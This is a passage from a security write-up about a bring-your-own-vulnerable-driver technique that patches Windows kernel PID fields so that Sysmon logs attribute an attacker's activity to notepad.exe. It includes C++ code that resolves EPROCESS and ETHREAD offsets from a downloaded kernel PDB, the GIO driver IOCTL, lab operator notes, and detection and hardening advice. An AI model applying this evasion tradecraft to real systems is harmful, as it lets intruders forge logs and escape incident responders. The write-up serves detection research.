body.insert(body.end(), chunk, chunk + rd);
closeAll();
if (body.empty()) {
printf("[-] Empty response from symbol server\n");
return false;
}
HANDLE hFile = CreateFileA(outPath, GENERIC_WRITE, 0, nullptr,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Cannot write PDB to '%s' (%lu)\n", outPath, GetLastError());
return false;
}
DWORD wr = 0;
WriteFile(hFile, body.data(), static_cast<DWORD>(body.size()), &wr, nullptr);
CloseHandle(hFile);
printf("[+] PDB saved: %s (%zu bytes)\n", outPath, body.size());
return true;
}
// DbgHelp Symbol Resolution
struct SymFindCtx {
const char* name;
DWORD64 address;
bool found;
};
struct TypeFindCtx {
const char* name;
ULONG typeIndex;
bool found;
};
static BOOL CALLBACK OnSymbol(PSYMBOL_INFO pInfo, ULONG, PVOID ctx) {
auto* s = static_cast<SymFindCtx*>(ctx);
if (_stricmp(pInfo->Name, s->name) == 0) {
s->address = pInfo->Address;
s->found = true;
return FALSE;
}
return TRUE;
}
static BOOL CALLBACK OnType(PSYMBOL_INFO pInfo, ULONG, PVOID ctx) {
auto* t = static_cast<TypeFindCtx*>(ctx);
if (_stricmp(pInfo->Name, t->name) == 0) {
t->typeIndex = pInfo->TypeIndex;
t->found = true;
return FALSE;
}
return TRUE;
}
// Returns RVA (offset from module base) of a named global symbol.
static DWORD64 ResolveSymbolRva(HANDLE hSym, DWORD64 modBase, const char* symName) {
SymFindCtx ctx{ symName, 0, false };
SymEnumSymbols(hSym, modBase, symName, OnSymbol, &ctx);
if (!ctx.found || !ctx.address) {
printf("[-] Symbol not found: %s\n", symName);
return 0;
}
return ctx.address - modBase;
}
// Returns byte offset of a named field within a named struct.
static DWORD ResolveFieldOffset(HANDLE hSym, DWORD64 modBase,
const char* structName, const char* fieldName) {
TypeFindCtx tCtx{ structName, 0, false };
SymEnumTypesByName(hSym, modBase, structName, OnType, &tCtx);
if (!tCtx.found) {
printf("[-] Struct not found: %s\n", structName);
return 0;
}
DWORD childCount = 0;
if (!SymGetTypeInfo(hSym, modBase, tCtx.typeIndex, TI_GET_CHILDRENCOUNT, &childCount) ||
childCount == 0)
return 0;
// TI_FINDCHILDREN_PARAMS has a variable-length ChildId[] at the end
size_t paramSz = sizeof(TI_FINDCHILDREN_PARAMS) + childCount * sizeof(ULONG);
std::vector<BYTE> paramBuf(paramSz, 0);
auto* params = reinterpret_cast<TI_FINDCHILDREN_PARAMS*>(paramBuf.data());
params->Count = childCount;
params->Start = 0;
if (!SymGetTypeInfo(hSym, modBase, tCtx.typeIndex, TI_FINDCHILDREN, params))
return 0;
// Convert target field name to wide for comparison with TI_GET_SYMNAME output
wchar_t wField[256];
MultiByteToWideChar(CP_ACP, 0, fieldName, -1, wField, 256);
for (DWORD i = 0; i < childCount; i++) {
WCHAR* nameW = nullptr;
if (!SymGetTypeInfo(hSym, modBase, params->ChildId[i], TI_GET_SYMNAME, &nameW) || !nameW)
continue;
bool match = (_wcsicmp(nameW, wField) == 0);
LocalFree(nameW); // DbgHelp allocates with LocalAlloc
if (match) {
DWORD offset = 0;
SymGetTypeInfo(hSym, modBase, params->ChildId[i], TI_GET_OFFSET, &offset);
return offset;
}
}
printf("[-] Field not found: %s::%s\n", structName, fieldName);
return 0;
}
static bool ResolveKernelOffsets(KernelOffsets& out) {
// Locate ntoskrnl.exe
char sysDir[MAX_PATH];
if (!GetSystemDirectoryA(sysDir, MAX_PATH)) return false;
char ntosPath[MAX_PATH];
snprintf(ntosPath, MAX_PATH, "%s\\ntoskrnl.exe", sysDir);
printf("[*] Kernel image: %s\n", ntosPath);
// Extract CodeView PDB info from PE debug directory
PdbCodeViewInfo pdbInfo{};
if (!GetPdbInfoFromPE(ntosPath, pdbInfo)) {
printf("[-] Failed to extract CodeView info from PE\n");
return false;
}
// Strip any path prefix from PDB filename (keep leaf only)
char* pdbName = pdbInfo.PdbFileName;
for (int i = static_cast<int>(strlen(pdbInfo.PdbFileName)) - 1; i >= 0; i--) {
if (pdbInfo.PdbFileName[i] == '\\' || pdbInfo.PdbFileName[i] == '/') {
pdbName = &pdbInfo.PdbFileName[i + 1];
break;
}
}
printf("[*] PDB: %s Age: %lu\n", pdbName, pdbInfo.Age);
// Local cache path: %TEMP%\<pdbname>
char tempDir[MAX_PATH];
GetTempPathA(MAX_PATH, tempDir);
char localPdb[MAX_PATH];
snprintf(localPdb, MAX_PATH, "%s%s", tempDir, pdbName);
// Validate cached PDB by checking its MSF stream-1 GUID
bool needDownload = true;
DWORD attr = GetFileAttributesA(localPdb);
if (attr != INVALID_FILE_ATTRIBUTES && !(attr & FILE_ATTRIBUTE_DIRECTORY)) {
GUID cachedGuid{};
if (ExtractGuidFromPdb(localPdb, cachedGuid) && IsEqualGUID(cachedGuid, pdbInfo.Guid)) {
printf("[+] Valid cached PDB: %s\n", localPdb);
needDownload = false;
}
else {
printf("[*] Cached PDB GUID mismatch, re-downloading\n");
}
}
if (needDownload) {
wchar_t pdbNameW[MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, pdbName, -1, pdbNameW, MAX_PATH);
if (!DownloadPdb(pdbInfo.Guid, pdbInfo.Age, pdbNameW, localPdb)) {
printf("[-] Failed to download PDB\n");
return false;
}
}
// Initialize DbgHelp and load the PDB
SymSetOptions(SYMOPT_UNDNAME | SYMOPT_DEFERRED_LOADS);
// Use a unique fake handle so DbgHelp doesn't collide with any real process
HANDLE hSym = reinterpret_cast<HANDLE>(static_cast<ULONG_PTR>(0xDEAD1234));
if (!SymInitialize(hSym, nullptr, FALSE)) {
printf("[-] SymInitialize failed (0x%lX)\n", GetLastError());
return false;
}
wchar_t localPdbW[MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, localPdb, -1, localPdbW, MAX_PATH);
const DWORD64 kFakeBase = 0x10000000ULL;
DWORD64 modBase = SymLoadModuleExW(hSym, nullptr, localPdbW, nullptr,
kFakeBase, 0, nullptr, 0);
if (modBase == 0) {
DWORD err = GetLastError();
if (err != ERROR_SUCCESS) {
printf("[-] SymLoadModuleExW failed (0x%lX)\n", err);
SymCleanup(hSym);
return false;
}
modBase = kFakeBase; // already loaded
}
printf("[+] PDB loaded at base 0x%llX\n", modBase);
// Resolve EPROCESS field offsets
out.UniqueProcessId = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "UniqueProcessId");
out.ActiveProcessLinks = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "ActiveProcessLinks");
//out.PsInitialSystemProcess = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "PsInitialSystemProcess");
out.PsInitialSystemProcess = ResolveSymbolRva(hSym, modBase, "PsInitialSystemProcess");
out.ThreadListHead = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "ThreadListHead");
out.ThreadListEntry = ResolveFieldOffset(hSym, modBase, "_ETHREAD", "ThreadListEntry");
out.Cid = ResolveFieldOffset(hSym, modBase, "_ETHREAD", "Cid");
SymUnloadModule64(hSym, modBase);
SymCleanup(hSym);
return 1;
}
Proof of Concept against Sysmon
Target: Notepad.exe PID 10720. PoC process originally PID 3284, four threads, all Cids patched. Then file create, DNS, child cmd.exe. Sysmon screenshots from the original post:
File Create

DNS Query

Child Process Create (cmd.exe)

Full False Timeline
A Sysmon analyst who only has this log sees:
[Event 1] Notepad.exe PID 4200 started (legitimate)
[Event 11] Notepad.exe PID 4200 wrote C:\Temp\sysmon_test.txt
[Event 1] cmd.exe PID 9920 started, parent: Notepad.exe
[Event 5] cmd.exe PID 9920 terminated
[Event 22] Notepad.exe PID 4200 queried example.com
[Event 5] Notepad.exe PID 4200 terminated
PIDMutation.exe does not appear anywhere in this timeline.
PIDMutation.exe does not appear anywhere in this timeline
S12
What Still Gives You Away
The author’s remaining IOC is the interesting sentence in the post: ETHREAD.Cid versus PspCidTable divergence. An EDR that resolves “who is this PID?” through the CID table and then compares to the EPROCESS field, or that hashes the image from the EPROCESS pointer rather than from the PID Sysmon printed, will not tell the same story as Event Viewer.
- Block the driver. Microsoft recommended driver blocklist, HVCI, WDAC. No GIO, no write primitive.
- Alert on GIO / loldrivers. Image-load of known-vulnerable sys files is T1547.006 and still the cheapest catch.
- Kernel callbacks that use PspCidTable for attribution, not Cid. That is a vendor architecture choice, not a Sysmon config knob.
- Orphan Event 1 if they forget to restore: a PID that was created and never died, or Event 5 for Notepad while Notepad’s windows are still on screen.
- Two processes, one PID in a cross-view: Task Manager vs Sysmon vs
NtQuerySystemInformation. - Call stacks in Event 1/10/11 if you collect them: the modules will not look like notepad.exe.
ATT&CK and CWE, Mapped Honestly
| ID | Name | How it shows up here |
|---|---|---|
| T1547.006 | Boot or Logon Autostart: Kernel Modules and Extensions | Load GIO (or any RW primitive driver) |
| T1068 | Exploitation for Privilege Escalation | IOCTL 0xC3502808 arbitrary kernel R/W |
| T1036 | Masquerading | Telemetry claims you are notepad.exe |
| T1562 | Impair Defenses | You do not disable Sysmon; you feed it a novel |
| T1059.003 | Windows Command Shell | Child cmd.exe under the stolen parent |
| T1071.004 | DNS | Event 22 under the stolen parent |
| CWE-269 | Improper Privilege Management | Usermode + signed-but-vulnerable .sys = kernel write |
| CWE-345 | Insufficient Verification of Data Authenticity | Sysmon trusts Cid without PspCidTable |
Operator Notes (Lab Only)
- Lab VM, snapshot, HVCI off only if you are studying the primitive. On a fleet, HVCI on is the control.
- The restore path is load-bearing. Kill -9 without restore leaves a ghost Event 1.
- Thread creation after the Cid patch will get a new ETHREAD with the real PID unless you patch again. A worker-thread pool is a race against yourself.
- Protected Process Light / PPL Notepad is not required; any user process PID works as the costume.
- Do not combine this with DKOM unlink unless you have thought about list corruption on exit.
Key Takeaways
- Windows stores PID in at least three places. Sysmon reads ETHREAD.Cid. Patch that, and the log is a novel.
- UniqueProcessId alone is not enough. Walk ThreadListHead.
- Restore before death or you leave an orphaned start event.
- Offsets from PDB, not magic numbers. The driver is GIO from LOLDrivers.
- The remaining detector is Cid vs PspCidTable, plus call stacks, plus “two bodies one PID.”
- This is a research PoC for a detection gap, not a reason to throw Sysmon away. It is a reason not to treat Sysmon PID as gospel once a kernel write exists.
Defensive Recommendations
- Enforce HVCI + Microsoft vulnerable driver blocklist. GIO should never load.
- Hunt image loads of hashes/names on loldrivers.io, including Gigabyte GIO.
- Do not close IR on Sysmon-only process trees. Join with kernel-callback vendors or ETW-TI that bind file objects to EPROCESS pointers.
- Alert on Event 1 without Event 5 for the same PID within process lifetime SLAs, and on Event 5 for a PID whose windows still exist.
- If you write detections: compare Cid.UniqueProcess to PspCidTable / UniqueProcessId in a kernel sensor. That is the author’s own remaining IOC.
- Collect call stacks on Event 11/22 where volume allows. notepad.exe issuing your implant’s modules is the tell.
- Treat arbitrary kernel R/W as identity-compromised, not just privilege-compromised.
Conclusions
S12 started with curiosity and landed on a practical Sysmon attribution poison: mutate UniqueProcessId and every thread Cid, do work, restore, leave a log that never mentions your binary. The kernel still knows who you are in PspCidTable. Sysmon does not ask. That gap is the finding. The PoC is a research project for understanding detection gaps, not a production tool. More exploration ahead, in the author’s closing. Ours: if your story of an incident is only Event IDs, someone with GIO can write the story for you.
Original text: “Process ID Mutation via BYOVD” by S12 – 0x12Dark Development at Medium.


